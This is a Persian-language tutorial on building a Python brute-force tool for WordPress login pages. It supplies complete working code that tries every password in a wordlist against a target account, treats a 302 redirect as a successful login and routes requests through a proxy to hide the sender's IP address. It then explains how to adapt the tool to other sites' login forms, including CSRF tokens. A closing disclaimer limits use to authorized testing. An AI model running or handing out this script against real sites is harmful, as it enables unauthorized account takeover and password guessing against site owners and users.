در این مقاله، نحوه ساخت یک ابزار Brute Force برای تست نفوذ صفحات ورود (Login Pages) با زبان برنامهنویسی پایتون را آموزش میدهیم. این ابزار بهطور خاص برای بررسی امنیت صفحه ورود وردپرس طراحی شده است، اما با کمی تغییرات در کد میتوانید از آن برای سایر وبسایتها نیز استفاده کنید. هدف اصلی این آموزش، بررسی امنیت صفحات ورود و شناسایی پسوردهای ضعیف برای بهبود ایمنی سیستمها است.
فهرست مطالب
- Brute Force چیست؟
- ساخت ابزار Brute Force: اصول و نحوه عملکرد
- پیادهسازی ابزار Brute Force برای وردپرس
- گسترش ابزار برای سایتهای دیگر
- نتیجهگیری
1. Brute Force چیست؟
حملات Brute Force یکی از رایجترین روشها برای دسترسی غیرمجاز به سیستمها است. در این روش، مهاجم لیستی از رمزهای عبور را به صورت خودکار روی صفحه ورود امتحان میکند تا به رمز صحیح دست یابد. این ابزار به شما کمک میکند تا امنیت صفحات ورود را ارزیابی کنید و از ضعفهای احتمالی مطلع شوید.
2. ساخت ابزار Brute Force: اصول و نحوه عملکرد
عملکرد این ابزار شامل مراحل زیر است:
- خواندن لیستی از کلمات عبور از یک فایل متنی.
- ارسال درخواستهای POST به صفحه ورود هدف با استفاده از هر کلمه عبور.
- بررسی پاسخ سرور برای تشخیص موفقیت یا شکست ورود.
- استفاده از پراکسی برای پنهانسازی آدرس IP و تحلیل درخواستها.
این ابزار بهصورت پیشفرض برای صفحات ورود وردپرس نوشته شده است و میتوانید آن را با تغییر ساختار فرمهای ورودی برای سایر وبسایتها نیز استفاده کنید.
3. پیادهسازی ابزار Brute Force برای وردپرس
در کد زیر، ابزار برای تست امنیت صفحات ورود وردپرس طراحی شده است.
import requests
def brute_force_login(target_url, username, password_list_path, proxy_url):
try:
proxies = {
“http”: proxy_url,
“https”: proxy_url
}
with open(password_list_path, “r”) as file:
passwords = file.readlines()
print(f”[+] تعداد پسوردهای موجود در لیست: {len(passwords)}”)
for password in passwords:
password = password.strip()
print(f”[+] تست: {username} / {password}”)
data = {
“log”: username, # فیلد ورود وردپرس
“pwd”: password, # فیلد پسورد وردپرس
“wp-submit”: “Log In”
}
response = requests.post(target_url, data=data, proxies=proxies, allow_redirects=False)
if response.status_code == 302: # وضعیت موفقیت (Redirect)
print(f”[+] پسورد پیدا شد: {password}”)
return
elif response.status_code == 200: # تلاش ناموفق
print(f”[-] تلاش ناموفق با: {password}”)
else:
print(f”[!] وضعیت پاسخ غیرمنتظره: {response.status_code}”)
print(“[!] تمامی پسوردها تست شدند؛ نتیجهای یافت نشد.”)
except FileNotFoundError:
print(“[!] فایل لیست پسورد یافت نشد.”)
except Exception as e:
print(f”[!] خطا: {e}”)
if __name__ == “__main__”:
target_url = input(“آدرس صفحه ورود هدف را وارد کنید: “)
username = input(“نام کاربری را وارد کنید: “)
password_list_path = input(“مسیر فایل لیست پسورد را وارد کنید: “)
proxy_url = input(“آدرس پراکسی (مثال: http://127.0.0.1:8080) را وارد کنید: “)
print(“\n[+] شروع تست Brute Force…”)
brute_force_login(target_url, username, password_list_path, proxy_url)
4. گسترش ابزار برای سایتهای دیگر
این کد بهصورت پیشفرض برای وردپرس نوشته شده است و از فیلدهای log
و pwd
استفاده میکند. اگر بخواهید این ابزار را برای سایر سایتها استفاده کنید، باید مراحل زیر را طی کنید:
- شناسایی فیلدهای فرم ورود: با استفاده از ابزارهای مرورگر یا نرمافزارهایی مانند Burp Suite، نام فیلدهای
username
وpassword
صفحه ورود هدف را پیدا کنید. - تغییر فیلدهای داده: مقادیر
log
وpwd
در کد بالا را با نام فیلدهای سایت مورد نظر جایگزین کنید. - اضافه کردن پارامترهای اضافی: اگر فرم ورود سایت هدف پارامترهای اضافی دارد (مانند توکن CSRF)، آنها را نیز به دادههای ارسالی اضافه کنید.
- تست و اصلاح: ابزار را اجرا کرده و پاسخ سرور را بررسی کنید تا مطمئن شوید که ابزار به درستی کار میکند.
5. نتیجهگیری
ابزار Brute Force که در این مقاله معرفی شد، ابزاری قدرتمند برای بررسی امنیت صفحات ورود است. این ابزار بهصورت پیشفرض برای وردپرس طراحی شده، اما با تغییراتی کوچک میتوان آن را برای سایر سایتها نیز استفاده کرد. یادآوری میشود که استفاده از این ابزار فقط باید در شرایط قانونی و با رضایت صاحب سیستم انجام شود. هدف ما از ارائه این آموزش، افزایش آگاهی و توانایی شما در شناسایی و رفع نقاط ضعف امنیتی است.